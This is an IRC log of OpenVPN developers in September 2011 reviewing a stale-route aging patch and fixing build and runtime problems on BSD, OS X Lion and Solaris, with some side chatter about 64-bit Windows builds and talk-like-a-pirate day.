OpenVPN: openvpn-devel (at sourceforge.net) 14:04 <@mattock> if it's a straight ACK 14:05 <@dazo> ecrist: http://www.fpaste.org/4JRV/ ... can you test that one ... great if you can also test it on OSX, as I'm fixing some issues there too 14:06 -!- dguerri [~cdtdaddy@wifi-dev.caspur.it] has joined #openvpn-devel 14:07 < dguerri> hi there 14:07 <@mattock> hi dguerri! 14:08 <@mattock> what's up? 14:08 < dguerri> is there someone interested in the aging timer for openvpn routes patch? 14:08 < dguerri> here: http://sourceforge.net/mailarchive/message.php?msg_id=28087359 14:08 <@vpnHelper> Title: SourceForge.net: OpenVPN: (at sourceforge.net) 14:10 <+ecrist> testing now, dazo 14:10 <@mattock> ah, that one 14:11 < dguerri> can you give me some hints about it's clean implementation? :) 14:12 <@jamesyonan> re: mingw patch, why is http://openvpn.net embedded in the call to WinHttpGetProxyForUrl? 14:12 <@vpnHelper> Title: OpenVPN - Open Source VPN (at openvpn.net) 14:12 <+ecrist> dazo: that patch gets it past the old error 14:12 <+ecrist> waiting to see if it finishes 14:13 <@mattock> jamesyonan: can't help with that...d12fk had to do some semi-nasty issues but I can't remember details 14:14 <+ecrist> dazo: I think that fixes it 14:14 <+ecrist> it compiles anyway 14:17 <@mattock> would dguerri's patch be generally useful? 14:18 < dguerri> @mattock it seems to me that the openvpn routing table should behave like a forwarding db when opnevpn is in tap mode or like a routing cache when it is in tun mode 14:18 < dguerri> bot "tables" do have a aging timer 14:18 < dguerri> but openvpn does not 14:19 < dguerri> am i right? 14:19 <@dazo> I think jamesyonan is the one who can best answer this 14:22 < dguerri> I think that the problem is the combination of 2 things: first, routes doesn't expire (so they are monotonically increasing), second we have a maximum amount of routes per client (the defaults to 256) 14:22 <@dazo> dguerri: I'm reading quickly through your patch ... is it only unused routes which are removed? 14:22 <@jamesyonan> are you talking about route handling in route.[ch] or mroute.[ch]? 14:22 <@dazo> dguerri: and I'm wondering what makes these routes increase over time .... 14:23 < dguerri> yeah, routes that have a last activity timestamp older that a configurable amount of time 14:23 < dguerri> older than not that :) 14:23 < dguerri> @dazo i have to admit we have a rather uncommon setup 14:24 <@dazo> dguerri: then the man page part could be more clear on that ... by the way, there's a ---- prefix too, which should probably be just -- .... and it should probably be escaped as \-\- .... debian complains about such missing escapes ... except of that, the patch looks fine enough at first glance 14:25 <@dazo> but I'm uncertain how useful this feature would be main stream 14:26 < dguerri> in tap mode, for instance, if you have a "guest" lag behind your openvpn client, you could a increasingly number of routes 14:26 < dguerri> omg sorry for this automagic correction NOT lag but LAN 14:27 <@dazo> aha, so it's LAN-to-LAN over VPN which creates this issues, with ever growing routes? 14:27 < dguerri> yes 14:28 < dguerri> i don't know if tho apply also in tun mode.. but i it should be 14:28 < dguerri> (lemme turn autocorrect off :) ) 14:28 <@dazo> I see, then it can begin to make sense ... it's probably not too many who have LAN behind the openvpn client routing, which this would hit then 14:28 <@dazo> thus this has not been raised as an issue, from what I know at least 14:28 < dguerri> that's sure 14:29 <@mattock> so this would have no negative side-effects for most users? 14:29 < dguerri> for instance, we have many access point that bridge theirs wlan network (L2) into a vpn tunnels 14:30 <@dazo> mattock: doesn't look so at all 14:30 < dguerri> since the wlan network is open, we have a lot of clients 14:30 < dguerri> so a lot of routes per vpn-clients 14:30 <@dazo> mattock: 1) it needs to be activated by --stale-routes-check .... 2) it does sensible route maintenance from what I can understand 14:31 < dguerri> @dazo I hope so :) 14:31 <@dazo> :) 14:32 <@mattock> if it's generally useful then perhaps the configure flag could be eventually be dropped? 14:32 <@dazo> it's not a configure flag involved at all 14:32 < dguerri> @dazo thanks for the hints about the man page, I will reissue a patch with these corrections 14:33 <@dazo> mattock: it's enabled at run-time 14:33 <@mattock> ah, sorry 14:33 <@dazo> dguerri: please provide a patch which is based on the latest master branch ... the 2.1 base is very different from what the current master is on this area 14:34 < dguerri> @dazo sure 14:34 <@dazo> mattock: unless jamesyonan says NACK ... this patch does make sense to me 14:35 <@mattock> nice! 14:35 < dguerri> it sounds great to me, thanks for now 14:36 <@mattock> so, we need d12fk for mingw 14:36 <@mattock> freebsd issue is fixed 14:37 <@mattock> then we have the inet_ntop issue 14:37 <@mattock> haven't had time to reproduce it yet 14:37 <@dazo> I would like to know for sure that BSD is fixed ... compiler error is fixed, but does it work at runtime? 14:38 <@mattock> ecrist: can you do some quick tests? 14:39 <@mattock> now or later ;) 14:40 <@mattock> dazo: are basic smoketests enough? 14:41 <+ecrist> let me try to connect ot a vpn, gimme one minute 14:41 <@dazo> yeah, I'd say so ... smoketest which includes getting a connection and seeing that the tun/tap adapter is configured 14:43 <@dazo> I've reviewed tun.c with the suggested patch against the 2.1 SVN version ... and now it looks like it's generally IPv6 plus other community patches which makes it differ 14:43 <@dazo> I don't recognise all changes, but most of them I know I've seen before 14:44 <+ecrist> it works 14:44 <+ecrist> tested on tap 14:44 <+ecrist> let me test on tun 14:44 <@dazo> ecrist: perfect! could you also please do a similar test on OSX too? Since I do some changes there as well 14:46 <+ecrist> hrm 14:49 <+ecrist> not sure, it fails at configure, and I'm not sure what I should be using 14:49 <+ecrist> log isn't overly revealing 14:49 <+ecrist> doh 14:49 <+ecrist> I don't have developer tools on this box yet 14:49 <+ecrist> I just upgraded to lion 14:49 <+ecrist> WHICH btw, has a proper bridge adapter 14:52 <@mattock> can we do anything about the inet_ntop issue khasran reported? 14:53 <@dazo> that happened on WinXP, right? 14:53 <@mattock> yep 14:53 <@mattock> I only tested win7 64bit 14:53 <@mattock> http://thread.gmane.org/gmane.network.openvpn.devel/4983 14:53 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 14:54 <@dazo> I think that WinXP is lacking inet_ntop ... but as the compiler found it while linking it ... it might have passed through 14:54 <@dazo> the compile box was newer than XP, or do I remember wrong? 14:54 <@mattock> win2008r2 14:56 <@dazo> that might be the reason why the linking worked fine 14:56 <@mattock> maybe I'll try to reproduce the issue first 14:57 <@mattock> on winxp 14:57 <@dazo> probably a good idea 14:58 <@mattock> at the end of the month, there are things even N900 can't do :P 14:58 <@mattock> anything else for today? 14:59 <@dazo> We're an hour over :) 15:00 <+ecrist> I'll install Xcode 4 and test on os x, dazo 15:00 <@dazo> I think this would cover it for today 15:00 <@dazo> ecrist: thx a lot! If that works out, I'll mail it to the mailing list, and will add a Tested-by: reference to you if you don't mind 15:00 <+ecrist> sure 15:01 <@mattock> ok, excellent! 15:02 <@mattock> I'll see if I have nerves to write the summary with this N900... can somebody mail me the chatlog? 15:02 <@mattock> not sure I can copy and paste from this client 15:03 <+ecrist> mattock, sounds like you need screen + irssi 15:03 <+ecrist> ;) 15:04 <@mattock> actually it seems to work 15:04 <@mattock> so no prob 15:04 <@mattock> talk to you guys later! 15:04 <@dazo> mattock: http://www.fpaste.org/3SxA/ 15:04 <@mattock> dazo: thanks! 15:05 <@mattock> when does it expire? 15:05 <@dazo> 24 hours 15:05 <@mattock> ok, I'll copy it now 15:10 <@mattock> done 15:10 <@mattock> bye! 15:15 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 15:17 -!- jamxNL [jamx@2a01:4f8:140:5243::1234] has joined #openvpn-devel 15:19 -!- dazo is now known as dazo_afk 15:25 -!- krzee [krzee@openvpn/community/support/krzee] has left #openvpn-devel ["Leaving"] 16:33 <@cron2> dazo: I'll do NetBSD -master testing tomorrow 16:49 < dguerri> @dazo_afk, mattock: here is the fixed patch for 2.1.0 and the one for the master branch. Thank you both for your time. 16:49 < dguerri> http://sourceforge.net/mailarchive/message.php?msg_id=28094651 16:49 <@vpnHelper> Title: SourceForge.net: OpenVPN: (at sourceforge.net) 17:40 <+ecrist> raar 21:48 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] --- Day changed Fri Sep 16 2011 01:28 -!- dazo_afk is now known as dazo 01:30 <@cron2> !git 01:30 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi or (#4) See !git-doc how to use git 01:32 <@dazo> dguerri: thx! We'll try to follow up that one on the next dev meeting (prob. in 2 weeks or so) 01:35 <@cron2> dazo: do you have the URL for the FreeBSD tun.c patch around? 01:35 <@dazo> cron2: funny you should ask ... I just did this: curl http://www.fpaste.org/4JRV/raw/ | git apply --whitespace=fix 01:36 <@dazo> (that's the patch) :) 01:36 <@cron2> dazo: so it's already in? 01:36 <@cron2> and pushed? 01:36 <@dazo> nope, not yet ... awaiting some more testing ... and I see this will explode on Solaris as well 01:36 <@dazo> Also wondering if we should do some OpenBSD tweaks as well 01:37 <@cron2> I'll do FreeBSD and NetBSD today, and then let's see how far I can get 01:37 <@dazo> cool! thx a lot! 01:37 <@cron2> huh 01:37 <@cron2> the diff is large 01:38 <@cron2> anyway, looks like merge fallout 01:39 <@dazo> the OSX parts are merge fallout ... but the BSD stuff was not fixed in James' tree 01:40 <@cron2> I'm wondering about the TOP_SUBNET part of that patch 01:41 <@dazo> that's coming from James' tree 01:41 <@dazo> I did a side-by-side comparison between James' branch and the master branch on the complete do_ifconfig() 01:42 <@dazo> and checked it against the commit which caused this issue 01:42 <@cron2> could someone explain to me what that change does? 01:42 <@cron2> if ( condition ) { do something; } else { do the very same thing; } 01:42 * dazo looks more carefully on that block 01:43 <@dazo> ehm .... that looks odd! 01:43 * dazo double checks James' branch again 01:43 <@cron2> I seem to remember that I cleaned up a few of these in various *BSD corners... 01:46 <@dazo> heh ... ACK ... that duplication doesn't make sense at all 01:47 <@dazo> it's the same issue on OSX as well 01:47 <@dazo> no, it's not ... it got one more arg 01:47 <@cron2> sometimes it just looks similar, yeah 01:50 <@cron2> ah, here we go :) 01:50 <@cron2> commit 8528e2b77d19384f9077fe41fd39da58cb761168 01:50 <@cron2> Author: Gert Doering <gert@greenie.muc.de> 01:50 <@cron2> remove duplicate code in FREEBSD+DRAGONFLY system-dependent ifconfig 01:50 <@cron2> (ACKed by Eric F Crist and David Sommerseth) 02:09 <@dazo> ahh! I remember that one 02:12 <@cron2> I'd hope so :-) 02:12 <@cron2> anyway, with the fix it just finished compiling. Now lets test... 02:13 <@cron2> gah, no fping on that machine... *build* 02:18 <@cron2> basic test passed (IPv4+IPv6 over UDP TUN) 02:18 <@cron2> one small catch: ipv6 ifconfig on tun is not cleaned up properly at tun_close, but that is NOT related to James' changes 02:19 <@cron2> mmmh 02:19 <@cron2> and fragmentation of IPv6 packets on the tun interface is failing 02:20 <@cron2> anyway, IPv4 is working for TUN/UDP, TUN/TCP and TAP/UDP, IPv6 has "issues" 02:21 <@dazo> okay ... and those issues are not related to this fix, so that should be good enough for now then 02:21 <@cron2> but this is known 02:21 <@cron2> yeah 02:22 <@cron2> mmh 02:22 <@cron2> actually, only TUN is working for me, TAP fails 02:23 <@dazo> also on IPv4? 02:23 <@cron2> yes, but that seems to be a FreeBSD driver issue 02:23 <@cron2> re-testing 02:24 <@cron2> yeah, "tun" is built into the default kernel, "tap" needs to be kldload'ed (=insmod) 02:24 <@dazo> cron2: new version of patch ... http://www.fpaste.org/N7gq/ 02:24 <@cron2> IPv4 on TAP works 02:24 <@dazo> (without duplication) 02:24 <@dazo> goodie 02:24 <@dazo> (it's some whitespace fixes there as well) 02:25 <@cron2> yeah 02:26 <@dazo> (it's basically removing spaces *after* the semicolon) 02:26 <@cron2> ACK from me 02:26 <@cron2> tested on FreeBSD 8.2 on Sparc64 02:27 <@cron2> IPv4 on TUN and TAP works correctly, IPv6 has issues (but those are known) 02:27 <@dazo> Then I'll just wait for ecrist to test on OSX, and we're good do go :) 02:27 <@dazo> I'll add the ACKed by from you 02:27 <@cron2> thanks 02:27 <@cron2> what's the patch for OSX? 02:27 <@dazo> it's basically restoring the fix from James as well 02:28 <@dazo> master would fail building on OSX on master .... and James only fixed it on OSX, not FreeBSD 02:28 <@cron2> ah, so the OSX change got lost 02:28 <@dazo> yeah, somehow that's the only change which did get lost in that master SVN merger 02:29 <@dazo> (at least which has been identified so far .... I hope it's not anything else) 02:36 <@cron2> ok, NetBSD (3.1) next... 03:03 <@cron2> /rhome/gert/src/openvpn-git/socket.c:887: error: `IPV6_RECVPKTINFO' undeclared (first use in this function) 03:03 <@cron2> hrm 03:06 <@cron2> tun.c is fine on NetBSD, though (as there is no code for "add connected route" here) 03:13 <@dazo> goodie! 03:15 <@cron2> double-hrm. NetBSD 5 has IPV6_RECVPKTINFO, NetBSD 3 does not 03:17 <@dazo> hmm ... is NetBSD 3 something we need/should support? 03:18 <@cron2> well. up to 2.2, we did, and since my "always-on" machine happens to be a NetBSD 3.1, it's easier for me to run quick tests 03:18 <@cron2> but it's not something anybody else should be worrying about :) 03:22 <@dazo> ahh, okay 03:22 <@cron2> but anyway, since this PKTINFO stuff is coming back in regular intervals, it would be useful to actually understand what that is about, and this is a good opportunity 03:23 <@dazo> :) 03:48 <@dazo> cron2: do you also have Solaris available somewhere? 03:50 * cron2 won't admit that 03:50 <@dazo> lol 03:50 <@cron2> my production Solaris10/Sparc machine has now been moved to FreeBSD 8.2 (which sucks MUCH less) 03:50 <@cron2> but there's an OpenSolaris VM around... 03:51 <@dazo> I just expect things to explode on that box as well ... but thinking about just doing the same fix in that block as well 03:51 <@cron2> lemme check tun.c 03:51 <@cron2> ah, indeed, r.defined = true 03:51 <@dazo> yeah 03:51 <@cron2> yes, these changes should be fairly safe 03:52 <@dazo> @@ -865,13 +865,13 @@ do_ifconfig (struct tuntap *tt, 03:52 <@dazo> /* Add a network route for the local tun interface */ 03:52 <@dazo> struct route r; 03:52 <@dazo> CLEAR (r); 03:52 <@dazo> - r.defined = true; 03:52 <@dazo> + r.flags = RT_DEFINED 03:52 <@dazo> r.network = tt->local & tt->remote_netmask; 03:52 -!- dazo was kicked from #openvpn-devel by vpnHelper [Flooding detected. Please use http://pastebin.com for posting logs or configs.] 03:52 <@cron2> (insert rant about mindless code duplication... that should have gone to a common function right from the start) 03:52 -!- dazo [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 03:52 -!- mode/#openvpn-devel [+o dazo] by ChanServ 03:52 <@dazo> + add_route (&r, tt, 0, NULL, es); 03:53 <@dazo> } 03:53 <@cron2> now you missed my rant :) 03:53 <@dazo> that's basically it 03:53 * dazo grmbls 03:53 <@cron2> can we up the limits for vpn-helper here in #openvpn-devel? 03:53 <@cron2> for small patches, this is just annoying 03:53 <@cron2> but back to the rant: 03:53 <@cron2> (insert rant about mindless code duplication... that should have gone to a common function right from the start) 03:54 <@dazo> ack! 03:54 <@cron2> but anyway, regarding the patch: yes, that should be fine. I'll test on OpenSolaris later, first NetBSD 5 (the machine is missing liblzo and automake and stuff, not being usually used for OpenVPN tests) 03:55 <@dazo> fair enough 04:05 <@cron2> gaaah 04:05 <@cron2> ../openvpn-testing/crypto.h:63:29: error: openssl/des_old.h: No such file or directory 04:06 <@cron2> this is "standard breakage" on NetBSD, as NetBSD doesn't install des_old.h when installing system openssl 04:06 <@cron2> on my NetBSD 3 machine I've workarounded this by copying des_old.h to the build directory, but this should be fixed for good 04:06 <@cron2> is andj around? 04:07 <@dazo> he is on holiday, back in a week or so, iirc 04:09 <@dazo> cron2: I just wonder ... why do we include that file? I think we've stated that the old openssls are unsupported 04:10 <@dazo> omg ..... #if SSLEAY_VERSION_NUMBER < 0x0090581f 04:11 <@cron2> #if SSLEAY_VERSION_NUMBER >= 0x00907000L 04:11 <@cron2> #include <openssl/des_old.h> 04:11 <@cron2> #endif 04:11 <@cron2> this is actually "we insist on calling the old interface which is no longer exported by default in anything halfway recent" 04:11 <@dazo> yeah, I'm trying to rip out that stuff now ... to see if it explodes 04:12 <@cron2> this is why I was asking for andj - if he already fixed that stuff, we just need to import his patches 04:15 <@dazo> yeah, you're right ... he must have done some work here, so then the contamination scope must have been reduced to only the openssl "module" 04:18 <@dazo> [OT] Creative! http://twitpic.com/6llm8e 04:18 <@vpnHelper> Title: Creative parking in Lyon on Twitpic (at twitpic.com) 04:21 <@cron2> anyway, for now I'll just copy over des_old.h... 04:27 <@cron2> ... and it compiles fine... 05:09 <@cron2> ... fixing firewall rules so I can actually get to my test server from there... 05:10 -!- novaflash [novaflash@openvpn/user/novaflash] has joined #openvpn-devel 05:14 <@cron2> hrm 05:14 <@cron2> "topology subnet" is broken on NetBSD 05:25 <@cron2> hrm, hrm. tap support is completely broken on NetBSD5 05:25 * cron2 puts that on his TODO list 05:26 <@cron2> dazo: *tun* on NetBSD 5 is mostly ok, except for topology subnet 05:37 <@dazo> goodie! 05:49 -!- mode/#openvpn-devel [+pz] by uuuppz 05:49 <@uuuppz> arg 05:49 <@uuuppz> sry 05:50 -!- mode/#openvpn-devel [-pz] by uuuppz 05:50 -!- mode/#openvpn-devel [-o uuuppz] by uuuppz 05:50 < uuuppz> mistype 05:50 < novaflash> :) 05:50 * novaflash sets mode: +o 05:55 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 258 seconds] 07:11 !services. [ChanServ:#openvpn-devel] ecrist set flags -vOtsr on uuuppz. 08:04 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 08:04 -!- mode/#openvpn-devel [+o cron2] by ChanServ 08:04 <@cron2> gah. ISP dialup router borked 08:06 <@dazo> dial-up? as in old style modem? 08:06 * dazo thought cron2 was working for a hi-tech ISP ;-) 08:07 <@cron2> well, "DSL concentrator PPPoE/L2TP thingie" 08:07 <@dazo> ahh :) 08:41 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 08:41 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:10 <@cron2> platform cleanup time!! 09:11 <@cron2> the NetBSD code in tun.c stinks 09:15 <@cron2> yeeha, tap on NetBSD works :-) 09:23 <@dazo> :) 09:25 <+ecrist> dazo 09:25 <+ecrist> http://pastebin.com/nwNkxkZT 09:25 <+ecrist> ./configure --disable-lzo 09:26 <@dazo> ecrist: that's on OSX? 09:26 <+ecrist> followed by 'make' 09:26 <+ecrist> yes 09:26 <+ecrist> OS X 10.7 with Xcode 4.1.1 09:28 <@dazo> ecrist: can you pastebin config.h? 09:29 <+ecrist> sure 09:30 <+ecrist> http://pastebin.com/uYu26ZX3 09:35 <@dazo> ecrist: can you try to apply this patch? http://pastebin.com/Lfkp1wnP 09:36 <@dazo> duh! 09:36 <@dazo> I missed one more place 09:37 <@dazo> ecrist: try this one instead ... http://pastebin.com/jAfm0EDT 09:38 <@dazo> I just fear that this is just the tip of the iceberg .... 09:39 <+ecrist> dazo: I forgot to mention, that was an attempt with JUST week 37 snapshot, no other patches 09:39 <+ecrist> I wanted to see if OS X had the same problem with tun.c 09:39 <@dazo> yeah, I think that will explode a bit afterwards ... socket.c is compiled before tun.c 09:43 <+ecrist> ecrist@Swordfish:~/openvpn-devel-> patch socket.h /Users/ecrist/Downloads/jAfm0EDT.txt 09:43 <+ecrist> (Stripping trailing CRs from patch.) 09:43 <+ecrist> patching file socket.h 09:43 <+ecrist> patch unexpectedly ends in middle of line 09:43 <+ecrist> Hunk #2 succeeded at 586 with fuzz 1. 09:44 <@dazo> uhh!? 09:49 <@dazo> ecrist: better success? (seen PM?) 09:52 <+ecrist> that patch seems to work better 09:53 <+ecrist> http://pastebin.com/Qw5bwTPs 09:54 <@dazo> crap ... it's JJO's stuff which explodes on Lion then 09:55 <+ecrist> :) 09:55 <@dazo> ecrist: I'll provide JJO with my patch + that compile log ... he need to clean up that :/ 09:55 <+ecrist> ok 09:55 <+ecrist> holler when it's ready, and I'll try again. 09:55 <+ecrist> probably just pull from git at this point 09:55 <@dazo> thx! 09:56 <+ecrist> apparently I'm the FreeBSD *and* Mac OS X bitch now. ;) 10:01 <@dazo> hehe :) 10:02 <@dazo> I've Cced you ... maybe he'll get in touch with you for some tests 10:02 <@dazo> (that's the price of being a bitch ;-)) 10:04 * dazo gotta run 10:09 <@cron2> ecrist: regarding FreeBSD and OSX 10.6, I can help and test as well 10:09 <@cron2> (FreeBSD 8.2 tested fine with dazos patch) 10:09 <+ecrist> so did freebsd 9 10:09 * cron2 's da NetBSD bitch 10:14 -!- dazo is now known as dazo_afk 13:39 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 13:39 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:39 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:13 -!- d457k [~heiko@exit0.net] has left #openvpn-devel ["Konversation terminated!"] 18:31 < uuuppz> where would I find documentation for the conditional statements in openvpn confs? 18:31 < uuuppz> if dev tun AND (topology == net30 OR topology == p2p): 18:31 < uuuppz> for example 18:32 < uuuppz> is this part of core openvpn code or reliant on being on a OS like linux with a decent shell? 19:00 <+ecrist> it's in openvpn 19:00 <+ecrist> what are you trying to figureo ut? 19:00 <+ecrist> out* 19:13 < uuuppz> I'm looking at config management 19:13 < uuuppz> so was pondering parsing the conf 19:16 < uuuppz> its supported on windows then I guess? 19:16 < uuuppz> (basically it'd make my life a lot easier if I could ignore it) 19:42 <+ecrist> ignore the config, let openvpn handle it 19:47 < uuuppz> kinda hard if I'm doing config management 19:48 < uuuppz> well actually 19:48 < uuuppz> do command line options override 19:48 <+ecrist> yes 19:48 < uuuppz> options in the conf file? 19:48 <+ecrist> well, maybe 19:48 <+ecrist> if you call the config first, anything on the CLI after overrides 19:53 <+ecrist> it's a last match wins deal' 19:54 < uuuppz> ok 19:54 < uuuppz> how about this scenaio 19:55 < uuuppz> config file has --cert file 19:55 < uuuppz> and then I pass 19:55 < uuuppz> --cryptoapicert 19:55 <+ecrist> not sure 19:55 <+ecrist> I'd say try it 19:55 < uuuppz> yeh I have to actually get it working in the simple case first 19:55 < uuuppz> gave it a go a while back but didn't get far 20:18 < uuuppz> fyi figured out the upgrade issue for installer 20:56 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:56 -!- mode/#openvpn-devel [+v krzie] by ChanServ 21:00 -!- dguerri [~cdtdaddy@wifi-dev.caspur.it] has quit [Read error: Connection reset by peer] 21:00 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 21:00 -!- dguerri [~cdtdaddy@wifi-dev.caspur.it] has joined #openvpn-devel --- Day changed Sat Sep 17 2011 03:13 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Ping timeout: 252 seconds] 07:05 <+ecrist> uuuppz: nice 09:55 < uuuppz> turns out I should have read the docs 09:55 < uuuppz> I was changing the one guid 09:55 < uuuppz> I should have been 12:02 < uuuppz> is there anything stopping 64bit releases on windows? 12:05 <@cron2> uuuppz: the tap driver is 64bit clean (specifically: both 32bit and 64bit variants are built), and while OpenVPN itself is 32bit, it works on Win7-64 12:09 < uuuppz> yeh got that the driver is 64bit, it would be problematic if it wasn't 12:10 < uuuppz> but the rest of it 12:10 < uuuppz> is it just a matter of no need been seen for a 64bit native build of ovpn itself or is there some other reason? 12:11 <@cron2> I think the biggest issue is "we all hate windows", so nobody wanted to discover how to build a 64bit binary in addition to the 32bit binary we need to do in any case 12:11 <@cron2> the cross-platform bits are 64bit clean (I regularily build and test on Sparc64 - big-endian, 64 bit, this brings up all the endianness and word size bugs) 12:12 <@cron2> I would expect the rest to be fairly easy, except for "setting up the build environment" etc., which requires windows skills... 12:12 <@cron2> so, short answer: "yes, nobody saw enough need yet to bother" 12:14 < uuuppz> ok cool excellent answer :) 12:15 < uuuppz> its not really nessecary but I've been building an installer for the ui 12:15 < uuuppz> and I hit some issues todo with control panel integration which I thought were due to me installing 32bit or 64bit (my native envinroment) 12:15 < uuuppz> they weren't 12:16 < uuuppz> but I was still curious - theres something about a native 64bit all the way that feels right 12:24 < uuuppz> main problem with compil;ing on win32 would be that its checking for WI32 in many places 12:25 <@cron2> oh, so those would bei WIN64 then? 12:25 < uuuppz> yeh 12:25 <@cron2> that would indeed be a large number of places to edit 12:25 < uuuppz> probably should be changed 12:25 <@cron2> well 12:25 < uuuppz> to #ifdef WINDWSBUILD 12:25 < uuuppz> and define that for both win32/win64 12:25 <@cron2> I'd postpone that for a moment until all currently open patches are integrated, and then this makes sense 12:26 < uuuppz> I'm not asking for it :) 12:27 < uuuppz> worth bearing in mind tho, Windows 8 will bring at least x86, x64 and ARM (which I think is just 32bit?) 12:28 < uuuppz> "bearing" hm :) 12:29 < uuuppz> I'm english and I'm still not sur eif I spelt that right 12:29 <@cron2> looks right to me 12:29 <@cron2> the alternative spelling would be "beering" and that's something else :-) 12:30 < uuuppz> according to google it is right 12:30 <@cron2> openvpn-on-linux-on-ARM works nicely, but I'm sure Win8 will bring in some interesting challenges 12:30 <@cron2> ... for mattock and d12fk and you... *duck and run* 12:31 * cron2 is busy fighting too many unix-ish platforms 12:31 < uuuppz> heh 12:31 <@cron2> NetBSD, FreeBSD, OpenBSD, Linux/route, Linux/iproute2, Solaris, MacOS X... 12:31 < uuuppz> oh god 12:32 <@cron2> all the basic code is no problem there, but the "how do I setup a tun/tap interface? how do I configure routes?" is different on every system, even NetBSD/FreeBSD differ there 12:33 <@cron2> the code in tun.c and route.c consist mostly of #ifdef for the different platforms... 12:33 <@cron2> anyway. $wife said "time to go watch TV now!", so I'm doing that... 12:33 < uuuppz> heh 12:33 < uuuppz> enjoy 13:48 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 13:49 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:49 -!- mode/#openvpn-devel [+v krzie] by ChanServ 14:55 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 14:55 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:51 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 16:52 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 16:52 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon Sep 19 2011 02:42 -!- dazo_afk is now known as dazo 02:43 <@cron2> ah, dazo is back :-) 03:09 <@dazo> cron2: I'm here, yeah :) Should I regret coming here? ;-) 03:25 <@cron2> dazo: nah, it's good that you're here, so I can push you to commit & publish the NetBSD and FreeBSD patches :-) 03:25 <@cron2> I've briefly tested Solaris yesterday, and it fails compiling route.c - but then I had no more time to patch the r.defined bits to see whether that's all that's needed 03:25 <@dazo> heh ... yeah, I'll rip out the OSX changes at the moment ... as there are more stuff needed to be fixed for OSX Lion 03:25 <@cron2> has anyone seen mattock, or raidz, btw? 03:26 <@dazo> not today 03:26 <@cron2> ok 03:30 -!- d303k [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 03:30 -!- mode/#openvpn-devel [+o d303k] by ChanServ 03:34 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has quit [Ping timeout: 240 seconds] 04:18 <@d303k> cron2 uuuppz: WIN32 is defined on WIN64 builds as well, so no need to change anything 05:06 <@cron2> cool 06:03 -!- d303k is now known as d12fk 06:55 -!- d12fk is now known as d303k 07:32 < uuuppz> oh it is? 07:50 -!- d303k is now known as d12fk 07:50 -!- d12fk is now known as d303k 07:56 -!- d303k is now known as d12fk 07:56 -!- d12fk is now known as d303k 08:06 -!- d303k is now known as d12fk 09:05 -!- d12fk is now known as d303k 09:18 <@dazo> ecrist: can you give JJO's latest patch a whirl ... maybe wait another 10 minutes to be sure he won't send another update :) 09:23 <+ecrist> I see the email, will test it now. 09:24 <@dazo> thx! 09:26 <+ecrist> dazo: is there a git command to apply the patch? 09:27 <@dazo> ecrist: git apply ... and git am 09:29 <+ecrist> tx 09:29 <@cron2> heh, jjo's been busy, it seems :-) 09:30 <@cron2> dazo: can you commit the FreeBSD and Solaris r.defined patches? Then I'll work on Solaris tonight 09:30 <@dazo> heh ... yeah, he sent 3-4 patches - of the same fix during the weekend and today 09:30 <@dazo> cron2: yeah, I'll try to squeeze that in soonish 09:30 <@cron2> thanks 09:31 <+ecrist> ruh roh 09:32 <+ecrist> http://pastebin.com/vpppPUCY 09:34 -!- d303k is now known as d12fk 09:37 <@dazo> ecrist: ahh, okay now ... you need the patch I sent you earlier on .... 09:37 * dazo tries to find that one again 09:38 <+ecrist> ok, I have it still 09:39 <@dazo> ecrist: it's not the osx-1.patch 09:39 <@dazo> it's the very first one 09:40 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 09:40 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 09:45 <+ecrist> that appears to work. 09:46 <+ecrist> I'll post to the mailing list and mention your tun-stuff.patch is still required 09:55 <@dazo> ecrist: cool! thx! I'll then put that fix in the pipe 10:58 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 10:58 -!- mode/#openvpn-devel [+o raidz] by ChanServ 11:04 -!- dazo is now known as dazo_afk 11:45 < novaflash> halleluja 11:45 < novaflash> the holy raidz and his disciples have returned 11:46 < novaflash> never mind me 11:47 <@raidz> haha 11:48 < novaflash> don't laugh. you're ruining the moment here. 11:48 <@raidz> oops 11:48 < novaflash> can you imagine what it would be like if all the religious people were right and god suddenly showed up and he went like "haha" 11:49 < novaflash> it'd be chaos. mayhem. and laughter. 11:50 <@raidz> I think it would be pretty funny 11:51 < novaflash> *big face of penultimate god being breaks through clouds, looks down* haha 11:52 < novaflash> tharrr ya arr, ah nearly lost ya in all these here planets, arr! 11:52 < novaflash> ps it's talk like a pirate day 11:53 <@raidz> I had nay idee 't be talk like a seafarin' hearty tide! Fantastic! 11:57 < novaflash> by me wooden peg, it be so, yarr 12:01 * ecrist sets mode -arrr 